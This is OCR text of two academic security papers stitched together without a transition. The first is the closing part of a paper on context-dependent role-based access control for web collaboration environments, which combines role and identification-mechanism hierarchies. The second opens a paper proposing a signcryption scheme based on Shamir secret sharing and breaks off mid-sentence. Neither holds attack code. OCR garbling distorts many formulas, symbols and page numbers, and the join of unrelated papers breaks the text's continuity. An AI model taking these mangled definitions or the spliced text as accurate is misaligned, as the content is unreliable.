with well-chosen mechanisms. In today’s web practice, access to web-based collabo-
ration environments requires always one specific mechanism. On the other hand, there

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 267-2ZZ8, 2003.
(© Springer-Verlag Berlin Heidelberg 2003
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are situations where different identification mechanisms can be reasonable in order to
access collaboration environments from different locations, e.g., identification via an
asymmetric key pair / certificate from the user’s own computer and identification via
passwords from a public computer. Of course, the user’s permissions should also depend
on the strength of identification. Thus, in the case of multiple supported identification
mechanisms, the mechanism applied can be an important parameter to be respected as a
context in the access control decision. In the following, when we use the term certificate
we always assume X.509 certificates due to their wide deployment.

In general, there are several paradigms for the realization of access control. The idea
of role-based access control (RBAC) has been extensively discussed in the past years
and is considered to be highly attractive, e.g., see [7/8]. Recently, RBAC was proposed
for access control in the web environment [9,10].

In this work, we propose the consideration of multiple identification mechanisms
for controlling access in web-based collaboration environments. We demonstrate the
realization of access control in collaboration environments using RBAC concepts. We
present a new and efficient approach for generation of complex and context-dependent
role hierarchies. Here, the context-dependent role hierarchies are produced by applying
special arithmetic operations over partially ordered sets, i.e., the direct product, to the role
hierarchy and a hierarchy which is built over identification mechanisms. Furthermore,
we show how roles are activated in web-based collaboration scenarios.

2 Collaboration Environments and UNITE

Work environments have changed. There is a upward trend to team work, mobile workers
traveling among different companies’ premises, and non-territorial work environments.
Mobile workers need to access documents and resources, for example. Modern web-
based collaboration environments allow users to access all required resources from a
web-based user interface [21]. Today’s collaboration environments usually provide an
integrated user interface to all kind of features that support teams during their work.
These may comprise address book, calendar, e-mail, document repository, fax, messag-
ing, video conferencing, voice-over-IP, text chat, whiteboard, application sharing, and
support for team awareness.

In the EU-IST project UNITE (Ubiquitous and Integrated Teamwork EnVironment
Fraunhofer SIT has developed an advanced web-based collaborative team work envi-
ronment together with international partners. The objective of the UNITE project is to
support globally dispersed team work in information technology, by providing a col-
laboration platform with virtual project offices where members of project teams can
meet to exchange documents or launch collaboration and communication tools, regard-
less where they are physically located by utilizing a Java-enabled web browser [L1]. In
UNITE, users are dynamically assigned to teams, whereas teams represent the different
work contexts. Each user can work in just one work context at the same time; this is
exactly the way as one usually works in the real world. Users can switch the work context
by leaving the actual team and entering a new team. All tools, services and resources are

! The UNITE project is funded by the EU under the Information Society Technologies (IST)
Programme, Project-No. IST-2000-25436. Project Homepage: http://www.unite-project.org.
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Fig. 1. Context-dependent access control

configured on a team basis. Thus, there may be different services available in different
teams. In the same way, security policies are configured on a work context basis, i.e.,
teams may different security policies. The features provided by today’s collaboration
environments can be considered to be basic services which may comprise one or more
operations on objects on the web server side. The users’ requests to apply these opera-
tions on objects have to be checked against the underlying security policy. Of course,
if operations are not allowed for all users, such a check requires that the identity of the
requesting user has been verified through a well-chosen identification mechanism, ade-
quate for the values to be protected. The support of different identification mechanisms
and the consideration of the chosen mechanism in the access control decision may be
relevant in collaboration environments, as it will be explained below. Here, the goal is to
consider the specific mechanism which is used for identification as a context parameter
for access control decisions.

Context-dependent access control can be motivated as follows. Consider a mobile
worker with the intend to access his collaboration environment from his own computer
but also from a public computer somewhere in the world. Assume that from his computer
at his office this user identifies himself to the collaboration environment through the
possession of his private key and his certificate. For sensitive operations, high security
level provided by an asymmetric key pair / certificate identification is necessary. Assume
now, that the same user wants to use the collaboration environment while he is traveling
and only having access from an Internet cafe or from a machine in a partner company by
using a web browser. Such a user would not want, or is not allowed, to expose his private
key to a potential untrusted environment. In this case, password identification might
be desirable for less critical operations. However, for security reasons, more critical
operations should be refused when the user identifies himself using a password. In the
context of collaboration environments, critical operations are, e.g., the deletion of a
project’s workspace, and the modification of account data, while a less critical task is a
lookup in the project’s address book.

Within a collaboration environment one can consider various roles. First, there are
different projects; some users may have access to project 7/ and project 72 while others
may only have access to project 72. Second, there are different roles within a project.
For example, besides a default project member role, there may be a role project initiator,
which is assigned to the user that creates and deletes the project and invites new team
members, or there may be a project operator role, which is assigned to users that are
responsible for configuring the project resources. Suppose now a security policy where a
project initiator may invite new team members when he identified with either password
or asymmetric key pair / certificate. But for deleting the project, he needs to identify
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using an asymmetric key pair / certificate. In this scenario, a possible attacker obtaining
the team initiator user name and password may only invite new members, but is not
able to destroy existing projects. The considerations above show that there are good
reasons to differentiate different kinds of access to resources depending on the level of
identification. Figure [[] summarizes the aspects mentioned above in a domain model as
it is used in software engineering.

3 Role-Based Access Control

In this section, the main ideas in RBAC are presented. Since the general concepts of
RBAC are well-understood and extensively described in the literature [8/12], we will
only briefly describe the key aspects.

Basic Idea. The central terms in RBAC are user, role, and permission. Therefore, we have
sets USERS, ROLES, and PERMS. For elements of these sets, we have two assignment
relations UA C USERS x ROLES and PA C PERMS x ROLES. The user assignment
UA defines a relation between users and roles, whereas the permission assignment PA
defines the relation between roles and permissions. Both relations are many-to-many.
The set of all permissions is obtained by the combination of operations and objects,
i.e., PERMS = OPS x OBS, where OPS and OBS are the corresponding sets. Types
of operations depend on the type of system which is considered. In access control ter-
minology, an object is an entity which contains or receives information, e.g., an object
may be a file or some exhaustible system resources. If a user u € USERS changes to a
new user category leaving his old role r,;; then he is simply assigned to a new role 7,,,
by getting the permissions of r,,,, and losing the permissions of r,,;. RBAC facilitates
security management, makes it more efficient, and reduces costs. O

Role Hierarchy. Role hierarchies are thought to be one of the most desirable features
in RBAC. They are very useful when overlapping capabilities of different roles result in
common permissions because they allow to avoid repeated permission-role assignments.
This allows to gain efficiency, e.g., when a large number of users is authorized for
some general permissions. Role hierarchies RH C ROLES x ROLES are constructed
via inheritance relations between roles, i.e., by the introduction of senior and junior
relations between roles r; > 7 in such a way that the senior role r; inherits permissions
of the junior role 5. To put it more formally, if we have roles ry and o with r; = 79,
then (auth_perms(rq) C auth_perms(ri)) A (auth_usrs(riy) C auth_usrs(rs)). These
mappings are defined as

o auth_perms: ROLES — 2PERMS quth perms(r) = {p€ PERMS|r' < r, (p,r') € PA},
o auth_usrs : ROLES — 2YSERS _quth usrs(r) = {u € USERS|r" = r, (u,r’") € UA}.
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The opposite is not true, i.e., if (auth_perms(ry) C auth_perms(ry)) A (auth-usrs(r1) C
auth_usrs(rz)) is fulfilled, then it is still up to the role engineer to decide whether to
introduce an inheritance relation between r; and 75 or not. Multiple inheritance means
that a role inherits both permissions and role memberships from two or more roles.
With the concept of multiple inheritance, these hierarchies provide a powerful means
for role engineering, i.e., it is possible to construct roles from many junior roles. Role
hierarchies are modeled as partial orders. Fig. [4.1] in the next section depicts a sample
role hierarchy. a

Role Activation and Sessions. In a role hierarchy, a senior role inherits the permissions
from the junior role. But a user does not necessarily have to act in the most senior
role(s) he is authorized for. Actual permissions for a user are not immediately given by
evaluating the permission assignment of his most senior role(s); these roles can remain
dormant. Instead, actual permissions depend on the roles which are activated. A user
may decide which roles to activate. Sessions are defined over phases in which users
keep roles activated. A user’s session is associated with one or many roles. O

Principle of Least Privilege. The principle of least privilege requires that a user should
not obtain more permissions than actually necessary to perform his task, i.e., the user may
have different permissions at different times depending on the roles which are actually
activated. As a consequence, permissions are revoked at the end of sessions. O

Static Separation of Duty. In some security policies, there may arise a conflict of interest
when users get some user-role assignments simultaneously. The idea of static separation
of duties is to enforce some constraints in order to prevent mutually exclusive roles. In
the presence of a role hierarchy, inheritance relations have to be respected in order to
avoid infringing these constraints. O

Dynamic Separation of Duty. The goal of dynamic separation of duty is — similar to
static separation of duty — to limit permissions for users by constraints in order to avoid
potential conflicts. The difference here is that these constraints define which roles are not
allowed to be activated simultaneously, i.e., the constraints focus on activation of roles.
Roles obeying these constraints can be activated when they are required independently,
but simultaneous activation is refused. O

Further Relevant Properties. RBAC is assumed to be policy-neutral. This means that
RBAC provides a flexible means to deal with arbitrary security policies. It is highly
desirable to have a common means to express a huge range of security policies. O

In classical role-based access control work, roles are assumed to be related to jobs or
functions of persons in enterprises or institutions with some associated semantics which
express authority and responsibility. In the following, we will show how RBAC can be
used in order to solve access control problems for collaboration environments where
permissions are dependent on the underlying identification mechanism as a context-
dependent parameter of interest.

4 Role Hierarchy and Context Hierarchy

The reason for introducing roles was to efficiently assign users to specific sets of permis-
sions. If a member of arole tries to initiate an operation on an object, where this role is not
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Fig. 3. Hierarchies for (a) collaboration environment roles PO; and (b) sample contexts PO5

authorized for the corresponding operation on a specific object, the requested operation
is refused. Before modeling context-dependent access control for collaboration environ-
ments using the RBAC approach, we introduce arole hierarchy for a typical collaboration
environment that will be used throughout the whole paper. For this, Sect.[dTlintroduces
a sample role hierarchy for a collaboration environment. After that, we give a second hi-
erarchy representing the security levels of identification mechanisms in Sect. Here,
we consider the supported identification mechanisms as a context parameter. This is just
an example for a context, one may think of others, e.g., used communication protocol
(http or https). For this hierarchy, we use the term context hierarchy.

4.1 Hierarchy for Collaboration Environments

Collaboration environments usually offer different types of user permissions. In Sect.
we have already given an overview of possible roles that users can be assigned to.
Here, we will provide a role hierarchy containing all the roles of our sample scenario.
Additionally, we will outline sample permissions of these roles.

Our scenario consists of two different projects. There are three roles within a project:
team member, team initiator and team operator. Additionally we have a base role which
is relevant for users that are currently not active in any project.

e Role TM; (Team Member of Project T17): This role is for normal project member in
project T'1. The users assigned to this role may access resources for regular team work.

e Role TI; (Team Initiator of Project 77): This role is assigned to the initiator of
project T1. The project initiator is allowed to invite new team members to the project.
He is also allowed to change the project description and to delete the project.

e Role TO; (Team Operator of Project 77): This role is assigned to users that are re-
sponsible for administrative tasks within a project. The team operator may select the
tools and resources that may be used in project 7.

e Roles TM5 (Team Member of Project 72), TI, (Team Initiator of Project 72) and TO-
(Team Operator of Project 72) are analogously defined as in project 7.

e Role B (Base Role): This role contains all minimal permissions assigned to all users of
the collaboration environment. It is also assigned to users that are currently not active
in specific projects.

Figure [A.1] depicts the partial order of the roles introduced above. Role B is the most
junior role. The left subtree shows all roles of project 71 the right subtree contains all
roles of project 72. Within a project there are two most senior roles, the Team Initiator
and the Team Operator.
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P Q PxQ
Fig. 4. Direct product P x Q

4.2 Context Hierarchy

In Sect.[2] we have mentioned that different identification mechanisms provide different
levels of protection. Thus, access control systems, which use identification results for
their access control decisions, should take this level of protection into consideration.
Consequently, in context-dependent access control systems, where the relevant context
parameter is defined by the identification mechanism, there should be different levels
of permissions which depend on the context parameter. In classical RBAC, different
levels of permissions are aggregated to roles. If the usage of different identification
mechanisms implies different permissions, then these mechanisms should influence the
composition of the corresponding roles in role engineering. This means that the iden-
tification mechanisms such as certificates in combination with a challenge & response
protocol, passwords, or cookies will be considered in the definition of roles.

We illustrate this idea by means of a sample hierarchy for protection levels, i.e.,
the context hierarchy. Suppose a collaboration environment supporting two kinds of
identification mechanisms: identification by user name / password, and by an asymmetric
key pair / certificate. This is depicted in Fig. 1] If a user A is authorized to access a
collaboration environment by identifying with a certificate in a challenge & response
protocol, then user A will be assigned to a context Cert € POs. The context Cert
is authorized for a specific permission set PS..,+ € PERMS. Another user B which
decided to identify himself with a password should be authorized to a context PW &
PO5. Analogously, he is authorized for permission set PSp,, € PERMS. If both users
identify themselves with their chosen identification mechanisms, they are automatically
authorized for the permissions which are assigned to their corresponding roles.

With the introduction of roles, administration tasks become more efficient. A whole
set of users can obtain new permissions by just assigning new permissions to their specific
role. For changes in the access policy for contexts like Cert or PW, this adaption can be
done easily. In practice, the role hierarchy and the context hierarchy can be more complex
than shown in the example. In real-world collaboration environment examples, there may
be more roles necessary in order to express the relevant access control categories for
permission assignment. In this context, there may be further roles for the categorization
of tasks within a project or the support of sub-groups of members within projects, e.g.,
roles for different work packages with corresponding permissions. However, the roles
given in the example above might be sufficient in order to get the idea on how to deal with
the problem of different security levels of identification mechanisms in access control,
and how to construct more complex role hierarchies.

5 Arithmetic over Partially Ordered Sets

The properties of partially ordered sets required for our purposes will be outlined in this
section. Since the theory of partially ordered sets is well-understood and described in
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detail in the literature, we only describe the aspects that are required to model context-
dependent access control. For more information, we refer to [13/14].

Definition 1 (Partially Ordered Set {P; <) [13]). Ler P be a set. A partial order
on P is a binary relation < on P such that for all x,y,z € P there holds (i) x < x
(reflexivity), (ii) x < y and y < x imply x = y (antisymmetry), and (iii) x < y and y <
z imply x < z (transitivity).

Without introducing contexts, we can specify role hierarchies for role-based access
control with the definition above. We suggest now to model the context itself as a partially
ordered set and then compose a new hierarchy, i.e., the context-dependent role hierarchy,
by applying a specific arithmetic over partially ordered sets. With the help of the direct
product (which is sometimes also called Cartesian product), we create the context-
dependent role hierarchy from the role hierarchy and the context hierarchy as specified
in Sect. 4l

Definition 2 (Cartesian Product P; X --:- X P, of Partially Ordered Sets [13]).
Let Py, ..., P, be ordered sets. The Cartesian product Py X --- X P, can be made
into an ordered set by imposing the coordinate-wise order defined by

(1, ooy Zn) < (Y1, «ooy Un) <= Vi)a; <wy;inP;.

Informally, a product P x @ is drawn by replacing each point of a diagram of P by a
copy of a diagram of (), and connecting corresponding points. Figure @ depicts a direct
product P x ( of two partially ordered sets P and Q).

6 Role Hierarchy for Context-Dependent Access Control

In this section, we combine the arguments given in Sects.Zlto[8] and thereby, we establish
a connected motivation for what follows. In Sect.[2] it was motivated that access control
decisions should also take the identification mechanism into account as a relevant con-
text parameter. This idea combines an adequate protection level with reasonable user
requirements and convenience aspects. Since a collaboration environment may support
a large number of users, where the assignment from users to projects may change dy-
namically, such collaboration environments pose demanding requirements to security
administration systems. Furthermore, providers of collaboration environments have an
interest, that changes in the security policy can be dealt with easily and efficiently, e.g.,
by the introduction of new permissions, or new team roles. This means that they require
adequate support for administration.

RBAGC, as presented in Sect.[3] dramatically simplifies access control management,
which is extremely valuable for large number of users or permissions. It also supports
the requirement for flexibility in presence of frequently changing access control poli-
cies. Consequently, there arises the question how RBAC can be used to provide efficient
solutions for controlling context-dependent access to web-based collaboration environ-
ments exploiting the advantages of RBAC. Thus, our goal is to provide answers on how
to approach and model collaboration environment requirements for context dependency
with RBAC.
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TOCert;  TICerty TOCerto

Fig. 5. Context-dependent Role Hierarchy PO3 = PO; x PO>

In Sect. 4l we provided two sample hierarchies for collaboration environment roles
and contexts. For context-dependent access control, we will create a new role hierarchy
by utilizing the direct product of partial orders. For that, we assume the two hierarchies
to be independent from each other, i.e., there are no inferences between roles and con-
texts. The resulting role hierarchy integrates the context parameter into the collaboration
environment role hierarchy. Therefore, it provides context-dependent access control for
collaboration environments, where the context, i.e., the identification mechanism se-
lected by the user, is used as a parameter for the access control decision.

Since both hierarchies are partially ordered sets, the result is a partially ordered set
again, and thus, can be interpreted as a role hierarchy. Figure [8 presents this new role
hierarchy. It includes all new introduced roles, which are the result of the direct product
of PO; and PO9, and depicts the inheritance relations among these roles.

We will explain some of the roles in order to give an impression of the meaning
of particular roles. For example, role TMPw; is for all team members of project T/
which identify themselves with password. In contrast, role TMCert; is for team mem-
bers of project 71 which identify themselves with certificates. TMPw; should provide
less permissions, since the protection level is lower than for TMCert;. We may, for ex-
ample, think of the following permissions. Role TMPw has the permission to initiate all
communication tools except, for billing reasons, PSTN telephony, while role TMCert;
has the permission to make PSTN telephone calls (and inherits all the permissions of
TMPw1, of course). Additionally, the new role hierarchy includes a role TIPw;, 7 = 1, 2,
which has the permission to invite new team members, but forbids dropping the project
workspace, and a role TICert; which also allows deleting the project workspace. Table [T]
gives a summary of all roles. The table shows the particular role according to the project,
the user’s role within the project and the chosen identification level.

7 Discussion

The approach above uses the actually chosen identification mechanism as a context pa-
rameter. However, this is only an example; one may think of many other contexts. In
addition, our approach can be generalized to consider more than one context simulta-
neously by applying the direct product to the basic role hierarchy and several context
hierarchies.

7.1 Automated Role Activation

After having generated the complex role hierarchy, we explain how roles can be activated.
In general, if a user is assigned to several roles, it is up to him to decide which role(s)
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Table 1. Roles for context-dependent access control

Collaboration Protection Level
Environment Role Password | Certificate
yes
Project T1 Member | TMPw; TMCerty
Initiator TIPw, TICert;

rs = allowedr (juniorr(

Operator | TOPw; TOCerty assignedr(w)))

Project T2  Member TMPw- TMCerts

rs=10

Initiator TIPwo TICerto
Operator | TOPwa | TOCert,
Base Role BPw BCert

Fig. 6. Role activation

he is authorized to activate. In our work, the user does not select the role to be activated
directly. Web-based user interfaces differs from other environments, such as operating
systems or databases, in that they follow a simple request-response schema, i.e., the
client sends a request and the server returns the corresponding response. Instead, the
role activation in our approach depends on the way the user identifies himself. Thus, one
can say that a user selects the role to be activated indirectly. This means that dependent
on identification aspects, the user role to be activated is selected by the access control
system. In order to describe how and which roles are activated we introduce some
mappings. For formalization reasons, we define IDMS as the set containing the identifiers
of identification mechanisms supported by the corresponding collaboration environment.

o assignedr : USERS — 2ROLES qgssignedr(u) = {r € ROLES|(u,r) € UA}. The
result of assignedr(u) is the set of roles for which user  is assigned according to UA.

o juniorr : 2ROLES _ oROLES jypiorr(rs) = {r € ROLES|r < 1’ 7" € rs}. The result
of juniorr(rs) is the set consisting of all roles which are in a junior inheritance relation
to the roles contained in the set rs.

o allowedr : IDMS x 2ROLES —y 2ROLES qilowedr(im,rs) = {subset of rs authorized
for im}. Given an identification mechanism im and a set of roles rs, the relation
allowedr(im, rs) filters all roles which are allowed for activation.

When the collaboration environment receives a request, roles will be activated dependent
on whether the user identifies, how he identifies, and whether he is a registered user.
The procedure according to which roles are selected for activation is depicted in Fig.
With the activation of one role, all roles in junior inheritance relations are activated. In
this way, the requesting user also obtains the permissions of all junior roles. Roles to be
activated are selected automatically according to the mechanism shown in Fig. [6l

7.2 Constrained RBAC for Collaboration Environments

Constraints in RBAC deal with static and dynamic separation of duty. This means that
the RBAC system either controls that no users are assigned to conflicting roles according
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to the underlying security policy (static separation of duties), or users cannot be activated
for conflicting roles simultaneously (dynamic separation of duty). The example we have
introduced in figure [3 does not make use of separation of duty aspects. However, in a
concrete collaboration environment, there may be other constraints which follow from
potential conflicts resulting from the underlying security policy. E.g., consider a model
in which a user can only be active in a single project per session. This means that, he
explicitly needs to log in to and log out from a particular project. While working in that
project, each request to a resource needs to be checked, whether it is a resource of the
current project; if not, then the user has to be informed that he needs to exit the current
project, first. This scenario could be modeled using constraints.

8 Related Work

In the past years, there have been various contributions to the area of RBAC which
emerged as an alternative of classical discretionary and mandatory access control ap-
proaches. Ongoing research activities in RBAC resulted in the first proposed NIST
standard for RBAC [§]. In the past, RBAC was mainly used for database management
and network operating systems. Up to now, there are only a few contributions consider-
ing the usage of RBAC in the web context, even if RBAC is assumed to be a promising
alternative for this area [10]. But in practice, protection on the web is still dominated
by traditional concepts [9], e.g., access control lists. The first proposals for the usage of
RBAC for the WWW is given in [[15/16J17].

In the PERMIS project a role-based access control infrastructure was developed that
uses X.509 certificates [18]]. In this work, user roles and the permissions granted to
the roles are contained in X.509 attribute certificates. In contrast to this approach, we
do not store roles and permissions in attribute certificates since certificates have to be
renewed after some period, and they can become invalid before their expiration date,
which requires the introduction of revocation mechanisms.

The Generalized Role-Based Access Control approach [[19] models contexts in res-
idential computing infrastructures using object roles and environment roles. Georgiadis
et al. developed a model for team-based access control using contexts (C-TMAC) [20]
by providing user contexts (e.g., the team membership) and object contexts (e.g., set of
objects required for certain tasks). In these works, contexts are not integrated into the role
hierarchy. Instead, they store them in a separate structure. The contexts are considered
as an additional step in each access control decision.

The second aspect of our work deals with the context-dependency respecting security
level of identification for access control decisions of web-based collaboration environ-
ments which has not been considered so far. In our opinion, this idea is of high relevance
for access control in web-based collaboration environments, where mobile users cannot
always access the collaboration environment via their own computers.

9 Conclusion

In this work, we have shown how to model access control for web-based collaboration
environments with RBAC since RBAC provides promising properties for controlling
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access in web-based collaboration environments. We have motivated the need for con-
sidering context-dependent parameters such as the identification mechanism in the access
control decision in web-based collaboration environments. Furthermore, we have mod-
eled context-dependency with RBAC. We have shown how to model contexts as partially
ordered sets and how complex context-dependent role hierarchies can be obtained in an
efficient and systematic way. The combination of context-dependent aspects for web-
based collaboration environments and their modeling in RBAC goes beyond what is
done in today’s web practice and allows new possibilities.
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Abstract. Signcryption is a cryptographic primitive that performs sign-
ing and encryption simultaneously, at less cost than is required by the tra-
ditional signature-then-encryption approach. In this paper, a new sign-
cryption scheme is proposed for the open problem posed by Zheng, and
is based on Secret Sharing technique. The scheme is an “all-in-one” se-
curity approach: it provides privacy, authentication, integrity and non-
repudiation, all with less computational cost as well as communication
overhead. Yet, the scheme is not restricted to any particular cryptosys-
tem and could be designed with any cryptographic cryptosystem.

1 Introduction

Zheng [14] in Crypto 1997 introduced a new cryptographic primitive termed
digital signcryption. He addressed the question of the cost of secure and authen-
ticated message delivery: whether it is possible to transfer a message of arbitrary
length in a secure and authenticated way with an expense less than that required
by signature-then-encryption. There, the goal was to provide simultaneously en-
cryption and digital signature in a single step and at a cost less than individually
signing and then encrypting. Their motivation was based on an observation that
signature generation and encryption consumes machine cycles, and also intro-
duces “expanded” bits to an original message. Hence, the cost of cryptographic
operation on a message is typically measured in the message expansion rate and
computational time invested by both sender and recipient. With typical stan-
dard signature-then-encryption, the cost of delivering a message in a secure and
authenticated way is essentially the sum of the cost of digital signature and that
of encryption. The answer to the question in [14] was proposed by an approach
based on the discrete logarithm problem of a shortened form of El-Gamal based
signatures. There, the secret key k was divided into two short sub-keys k; and ko;
the first was used for encryption, and the latter for signing. They left as an open
and challenging problem the design of other signcryption schemes employing any
public-key cryptosystem such as RSA, or any other computationally hard prob-
lem. Later, in [13], they introduced another signcryption scheme based on the
problem if integer factorization. Also, other studies by Bellare at. el. [213], An
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et. al. [I], and others []] have studied the fundamentals of this cryptographic
primitive and have set its security proofs.

In this paper, we propose an innovative method of designing an authenti-
cation and signcryption schemes based on secret sharing technique. We begin
by describing the idea with an authentication scheme. Then, we introduce the
signeryption scheme, which provides privacy, authenticity, integrity and non-
repudiation, all in one shot. The distinguishing feature of the scheme is that
it introduces a new technique of digital signatures different from the classical
approaches, which are based on public-key cryptosystems or identity-based sys-
tems. Here, we exploit the shares of the secret sharing as a signature to a mes-
sage. The encrypted message and the signature require minimum space overhead,
and therefore it is superior in saving the bandwidth in congested communica-
tion channels. The verification is efficient and requires relatively small compu-
tation time. In general, the system is useful in many applications, especially in
real-time broadcast applications which require privacy and authentication with
non-repudiation property, yet with low overhead.

2 Theoretic Construction

The main structure of the system is the Shamir threshold secret sharing method
[I2]. The main idea relates to the concept of verifiable secret sharing, illustrated
in [9].

Shamir’s (¢,m) threshold scheme (¢ < n) is a method by which a trusted
party computes secret shares s;, 1 < ¢ < n from initial secret s, such that any ¢
or more users who pool their shares may easily recover s, but any group knowing
only ¢t — 1 or fewer shares may not. Shamir secret sharing is based on Lagrange
polynomial interpolation, and on the fact that a univariate polynomial y = f(z)
of degree t — 1 is uniquely defined by ¢ points (z;, y;) with distinct x; (since these
define ¢ linearly independent equations in ¢ unknowns). All calculations are done
in GF(p) where the prime p is selected to satisfy the security requirements.
The scheme is constructed by a trusted party. The computational cost of a
secret sharing scheme is in solving a set of linear systems of degree ¢, which is a
polynomial time complexity problem.

To establish a threshold secret sharing system, we need to determine the
number of shares and the threshold at which the signer is able to construct the
secret. Three parameters are chosen, i.e. a polynomial of degree two, because
that it is mathematically the minimum number of points which can determine
a unique solution for the Lagrange polynomial interpolation.

The idea is to treat the message as a secret, and associate a number of
parameters (shares) to the secret. The challenge for the verifier is to reconstruct
the secret based on the knowledge of the shares, much as any secret sharing
technique. If the verifier is able to compute the secret based on valid shares,
this proves that the message is genuine, since only unique points (shares) can
construct the polynomial. Any difference in the points would not reconstruct
the message (secret). Therefore, the sender computes the secret in terms of
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parameters (shares). The parameters should be very specific in order to prevent
the adversary from forging the authentication scheme.

Hence, the construction is based on three equations of three unknowns, and
therefore, using Lagrange interpolation function it is possible to determine a
unique polynomial f(z) of three parameters and of degree two:

f(@) = fo+ fiz + fox?

3 An Authentication Scheme

We start with the following authentication scheme. The main components of the
scheme are the (3,3) Shamir secret sharing scheme, an intractable hash func-
tion H and the Diffie-Hellman public-key system. The hash function is used as
a one-way function, and it should be a provable-secure hash function such as
SHA-1 [7] (the function takes an arbitrary random length bitstring and pro-
duces a string of 160 bits of message digest). The Diffie-Hellman cryptosystem
is used to generate public keys [4]. The public keys of the signer and the veri-
fier are used as shares in the Shamir secret sharing system, and at same time
they provide strong authentication and mutual correspondence between the two
communication parties.

As mentioned in section 2] the idea is to treat the message as a secret share,
and associate a number of parameters to the secret. The challenge for the verifier
is to reconstruct the secret based on the knowledge of the shares, much as any
secret sharing technique.

3.1 The Scheme

The scheme first establishes a Diffie-Hellman public-key system for both the
signer and verifier. The client uses the message, its public key, and the verifier
public key as parameters of the interpolation polynomial. As a result, we compute
the signature and hide the message as a secret. The verifier has to recompute
the secret based on its public key, client (signer) public key, and the signature.
If the secret and the message are the same, the authentication is accepted, as
illustrated in the following scheme.

Initialization

1. construct Diffie-Hellman public-key system by choosing ¢ as primitive ele-
ment in GF(q), private keys z, for the sender and z;, for the verifier.

2. let y, = ¢®+ and y, = g”* be the public keys for the signer A and verifier B
respectively.
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Signer A

1. let

o = ylfa 5 6 = Ya
2. compute the secret s = H(m||«)
3. design the polynomial

f(@) = fo+ fiz + fox?

such that
f(o):‘sv f(]-):av f(2):/6

(There are three equations and three unknowns, so there is a unique f(z).)
4. compute the signature o = f(3).

(the triplet: «, 5 and o are shares of (3,3) Shamir scheme with the secret s)
5. transmit (m, o) to the verifier.

Verifier B

1. fetch y,

2. compute a = yb

3. compute the secret s’ = H(m||«)

4. compute the secret s based on the triplet «, 8 and o
5. verify whether s = &’

3.2 Discussion and Analysis

Shamir secret sharing attempts to create a unique polynomial which passes
through a number of points, and it can therefore be exploited to produce a
signature for a message. To construct such a polynomial, satisfying the security
conditions, three points of the following shape need to be created:

a=y", B=Ya, s = H(m||a)

The signature of the message m is ¢ = f(3). This also means that the triplet
a,  and o are the shares of (3,3) Shamir scheme with the secret s. The sender
sends the message m and its signature o to the verifier.

At the verification phase, the verifier collects the authentic value of § from
the public registry and computes the value a and the hash value of the received
message. Then it takes the triplet «, § and ¢ and computes the secret s. The
verification of the signature is successful if s = s’; otherwise, it is rejected.

The use of the Diffie-Hellman cryptosystem has two benefits. First, it estab-
lishes a secure relationship between the signer and verifier. Second, it simplifies
the task of exchanging the parameters of the interpolation polynomial between
signer and verifier. Each of the principals can compute the parameters without
extra communication overhead. Note that the signature is only verified by the
corresponding peer with which the host has established the connection.
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3.3 Security Analysis

Since the system is a combination of cryptographic components, the security of
the system depends on the security of the underlining components:

— Diffie-Hellman security is discussed in their celebrated paper [4]. In fact, the
security depends on the size of the key and the prime numbers.

— The security of the one-way function. We strongly emphasize the selection of
a collision-resistant one-way hash function H which takes an arbitrary size
string and generates a string of size I: H : {0, 1}* — {0, 1}*. SHA-1 is proven
to be a secure message digest algorithm. It generates 160 bits of message
digest, which makes it secure enough against well-known attacks.

— The security of Shamir secret sharing. The security of Shamir secret sharing
is discussed in [12], were the assumptions and requirements for security of
the system are explained.

Note that the hashed message is the result of the concatenation of the message
and the value « to assign the sender’s tag on the message to prevent possible
replay attacks. Only the verifier who established the Diffie-Hellman public-key
with client is able to generate the value a.

Obviously, the scheme does not provide non-repudiation service. The scheme
is a sort of tag message such as used with message authentication codes (MAC).
But for mutual authentication, it satisfies the task of mutual authentication.

3.4 Performance Analysis

The operations involved at the signing and verification phase are almost the
same:

— one cheap hash function on the message

— a number of flops (of multiplications and divisions of Lagrange interpolation
function)

— one modular exponentiation.

The overall signature size is of 160 bits according to SHA-1 hashing. Gen-
erating and extracting the secret key from the system requires a number of op-
erations including multiplications and divisions. Generally, the overall Lagrange
operations are of O(n?). Specifically, they include (n + 1) multiplications for n
times. Also, a number of (n + 1) of divisions are required. In our system, we
are dealing with 3 parameters; thus, the approximate number of operations is
almost 15 flops per message. Also, there is one hash computation of the message.

The modular exponentiation would not be expensive if we relax the security
condition and set short key sizes.
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4 A Digital Signcryption

The scheme in the previous section provides only mutual authentication with
missing non-repudiation service. The proposed scheme in this section, in con-
trast, provides all the services. It provides authenticity, privacy, integrity, and
non-repudiation, all-in-one.

The goal here is to provide an ”encrypted signature” for a message m. As
in the previous scheme, we use secret sharing method as the template for our
algorithm. To achieve this, we need to define parameters (shares) for the system.
Here, rather, we use (2,2) threshold secret sharing method with two shares and a
threshold is set to the shares. The signer constructs the polynomial and ensures
the security and the efficiency of the system.

Obviously, for a message m, it is easy to find the hash of the message h,
the ciphertext of the message ¢, and the signed hash value s. Therefore, the
system involves the operations of the following primitive tools: an intractable
hash function H and a public-key cryptosystem R. The hash function is used as
one-way function and should be a provable-secure hash function such as SHA-1.
The cryptosystem is used to encrypt the message and provide non-repudiation.
The type of cryptosystem is not determined, and any public-key cryptosystem
may used [L1].

Assumptions

1. a message m

2. participant parties: Sender A and Receiver B

3. any asymmetric cryptosystem for A: public key P, and secret Key S, and
for B public key P, and secret Key Sy

4. an intractable hashing function H

4.1 The Scheme

Signer A

1. compute h = H(m)

2. compute s = Eg, (h)
3. compute ¢ = Ep, (m)
4. design the polynomial

f(x)=fo+ fiz
such that
f0)=¢c, f(1)=s

(There are two equations and two unknowns so there is a unique f(x).)
5. compute the signature o = f(2).

(the couple: o and s are shares of (2,2) Shamir scheme with the secret ¢)
6. transmit (s,o) to the Verifier.
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Verifier B
1. compute the secret ¢ based on the values s and o
2. compute m = Dg, (c)
3. compute h = H(m)
4. compute b’ = Dy, (s)
5. verify whether h = h’

4.2 Discussion and Analysis

The main objective of signcryption is to provide both encryption and authentica-
tion simultaneously. In our scheme, for encryption, we apply any efficient cryp-
tosystem algorithm to the message. For authentication, with non-repudiation
property, we sign the message digest by the signer’s private key. However, for
verification purposes, a mechanism is needed by which it is possible for the ver-
ifier to verify the authenticity of the message, and for the adversary it would be
an infeasible task.

As described in section 2] the idea is to fix a secret, and relate to the secret
a number of parameters or shares. The shares in this case are ¢ and o. The
challenge for the verifier, therefore, is to reconstruct the secret based on the
knowledge of the shares. To achieve this, the signing process passes through
a number of processes. Each step depends on the preceding one. The overall
